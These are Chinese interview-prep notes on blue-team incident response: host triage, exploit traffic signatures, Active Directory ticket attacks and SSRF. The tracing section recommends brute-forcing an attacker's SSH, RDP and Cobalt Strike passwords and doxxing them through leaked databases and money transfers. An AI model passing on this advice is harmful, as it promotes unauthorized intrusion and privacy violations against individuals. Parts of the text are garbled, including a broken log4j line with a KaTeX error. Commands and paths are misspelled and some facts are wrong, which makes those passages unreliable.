HMAC-SHA-512 / HMAC-SHA3-512：字母（a-f）和数字（0-9）混合，固定位数 128 位。

RSA

RSA 加密算法是一种非对称加密算法，通过公钥加密结果，必须私钥解密。同样私钥加密结果，公钥可以解密，应用非常广泛，在网站中通常使用 JSEncrypt 库来实现，其最大的特征就是有一个设置公钥的过程，我们可以通过以下方法来快速初步判断是否为 RSA 算法：

搜索关键词 new JSEncrypt()，JSEncrypt 等，一般会使用 JSEncrypt 库，会有 new 一个实例对象的操作；

搜索关键词 setPublicKey、setKey、setPrivateKey、getPublicKey 等，一般实现的代码里都含有设置密钥的过程。

### 实际HW应急

1.你本人应急的案例

我拿个之前的应急排查来说吧，就是我们这边接到通知他们公司几台服务器有问题，让我们去检测。然后看到是windows的机子，本地用户和组排查的时候发现新建可疑的用户，确定主机是有问题的，对方已经拿到主机权限,然后事件管理器有大量的登录日志爆破，采取的措施是直接删除可疑的和隐藏账号,排查登录日志,确定系统账号已经不安全,更新了管理员账号,对启动项和可疑进程做了清除,取了一份样本拿去分析,通告上级紧急修补web站点的漏洞.

2.你本人溯源的思路

红队攻击都会挂着代理，你溯源的话只能溯源到他的代理ip，没有太大的意义，如果说服务器被上了内存马的情况，可以去工具取样他内存马的ip，对内存马ip反向扫描端口，

因为他们也是通过远程进去的，去爆破他们的ssh,3389和cs的密码。

反序列化的取样，他打shiro，里面就有他的基本设备vps，通过中间件吧这些有特征的ip收集，放到在线情报平台上识别，检测是不是有ip绑定域名的，通过whois反查他的域名注册时间、邮箱，通过社工库查他的手机号，然后通过社交软件，qq、微信、支付宝来给他转一毛钱，拼接他的个人信息。

3.已经被上传webshell应急

系统如果已经被植入后门，说明攻击者已经攻击成功，而且拿到权限，这时候日志信息可能提供不了帮助，首先要去考虑系统的账户是否安全，，又没口令爆破成功的痕迹，排查账号的密码是否已经不安全.

(Linux)的话看计划任务,没有定时反弹shell,还有就是进程是不是可疑在通信.发现可疑问题,就要样本分析.

(windows)的话就看启动项和进程.

如果是web入侵,看日志web服务是不是安全?还原攻击的流程.

4.流量溯源

先看日志，看攻击时间做一个审计，搜索这个时间文件上传的操作，一般是GET和POST两种，GET的话可以直接看到他请求的资源、地址和content，然后webshell该杀就杀，后门改补就补，如果是POST，那么就看不到请求的内容，可以去防火墙上下载完整数据包来分析。

漏洞

1.log4j

Log4j就是java的日志插件，处理日志存在”KaTeX parse error: Expected '}', got 'EOF' at end of input: …入，流量特点就是数据包里面有”{“字段。

2.Shiro

1.2.4 key是写在源码里的，找到key就能构造攻击链，1.2.4之后的775key是随机生成的，但我们还可以构造cookie，尝试构造攻击链。

Shiro流量特征:数据包含有多个$$$符号，C参数含有base64编码。

3.Fastjson

原理也是jdni注入 利用就是构造一个json字符，用@type指定一个类库，流量特征就是json autotype

4.Weblogic

xml的反序列化漏洞，通过xmldecoder还是什么导致的xml解析代码执行。弱口令。

流量特征:不加密，常见的出网协议也可以用。有很多T3协议的特征，文件操作和冰蝎一样有fileoutstream字段。

命令：

计划任务的命令和目录

Kuntab命令排查计时任务，位置在/var/spool/cron 参数r和e就可以删除和编辑

/etc/cron

开机启动项/etc/rd.local文件

进程和端口命令

进程的话有ps命令，任务管理器 参数au列进程，x是吧其他用户的进程也列出来。

端口的话有netstat，常见配合grep命令和p参数筛选有问题的进程，

Windows下载文件命令

证书命令certutil、上传下载监控bitamin 还有powershell。

他要问参数的话，就是下载常数都是固定的，比较长

第一次简述

windows应急排查

初步排查:

1.系统账号排查(通过本地用户组去可疑账号、隐藏账号，有的话就删除掉)

2.事件管理器检测登陆日志,用微软的Log parser导出后分析

3.可疑端口，建立的链接，排查他对应的进程，用微软的msinfo32查看进程的路径和签名是否可疑。

后门排查:（权限维持:一个进程杀掉了，过段时间重新派生）

Linux机子应急排查

1.和windows应急思路相同，登录账号检测

2.后门排查(检测定时任务、开机启动项、异常端口(比如建立的可疑连接)，进程排查)

update留意系统运行到现在登录多久、多少用户。

1.影子账户，/etc/shadow因为/etc/passwd任何用户都可以访问，密码信息就分离到shadow,shadow文件只有root权限才能访问，如果说，stat命令发现，shodow文件权限变化了，这检测就有问题。

Ssh公钥，linux的机子22端口基本都是开的，如果写公钥进去，就是明显的后门

域

谈提权和查杀

安全加固

主要是对接入服务器ip的方式限制，还有一个是密码策略，(就是如果服务器被拿到shell和留下后门，这时候不是去考虑日志的问题，要去重点注意当前用户的密码是否安全)

守护进程: linux的后台进程，但他是root命令运行的，比如/var/log/boot.log

权限维持查杀: 看他做了什么服务，删除配置文件就行

Webshell检测工具:D盾、河马、百度webdir

免杀的可疑行为:

比较常见的有操作注册表、操作powershell、还有操作用户(比如添加用户、删除用户)、操作敏感文件。

杀软的识别

常见的静态、还有行为检测的，还有之前用到的云查杀。

如果他问你怎么实现:我知道的有代码混淆、花指令借助mssf

谈票据

如果面试问你一个问题，黄金票据怎么拿域管?

知识：Kerberos认证(krb)

域管krbtgt的hash

0.是否存在域

Ipconfig/all systeminfo 还有net config workastion看工作站

1.域控的权限维持

第一次拿到域管后，第二次的域渗透只需要域管的hash就可以做成票据，拿域管的权限。

或者还有ske-key的万能密码，我知道他的原理是注入lsass进程。不需要域管密码和hash。用域用户身份也可以登录。

2.常用的横向手法

1.ptk(密钥)

2.pth（通过hash，就是用minikatz做pth的横向）

3.域里面的常用漏洞

Ms14-068 吧域内用户获得域管权限。

4.白银票据

和黄金票据差别是他不是域控加密的，是服务器本身的ntlm加密。

很重要的几部分

1.邮件服务器EXchange

域控DC的sync,minikatz的插件，可以导出域内全部用户的hash。

谈ssrf

服务器加载外部资源没对目的地址做过滤，只有有网址的地方都可能有ssrf。

常用协议有gopher（沟fe） dist file http https

初步的探测可以通过file协议读取本机文件，探测本机的网段。

Dist协议探测端口

怎么通过ssrf拿shell?

可以借助gopher协议探测内网的web服务sql注入，直接在url后面拼接内网的地址，后面加上sql注入语句就行。

修复:从根源入手(限制资源的地址)、禁用不必要的协议

Csrf

1.登录了某个网站，有cookie，2.点开他的url链接

谈网络基础

网络基础

打内网大部分流量都走socks协议，有防火墙过不去

Regeorg(瑞joju)和代理链 都是socks协议的代理。

Socks协议走的是tcp，不支持icmp，所以不能ping。

正向代理：客户端代理 服务器不知道客户端的真实ip。

反向代理: 服务端代理 客户端是不知道服务器的真实地址。

路由表:这就是设备流量通过数据包的传输路径，比如一些业务系统入口是内网地址，做了访问控制，就需要加一条路由表。

http的两个状态 无状态和无连接，处理完请求就断开，不会记录客户端的任何信息。

NOSQL数据库: mongo(27017) redis 6379

跨域，说下jsonp和cors (跨域) 就是访问其他域名，端口不同或者域名不同都算跨域，jsonp协议数据包是json格式，cors允许跨域加载的资源。

越权的修复: 给用户添加token值，做逻辑判断先去判断token值再走业务流程。

钓鱼邮件的识别: 邮件附带连接，链接需要输入账号密码、文件格式exe或者文档。

遇到.exe文件如何处理？主要是看exe是不是钓鱼还是远控，拿去杀软沙箱分析和微步样本分析。

Awk和sad，awk配合uniq用来做日志筛选的，sad是删除文件中的指定字符。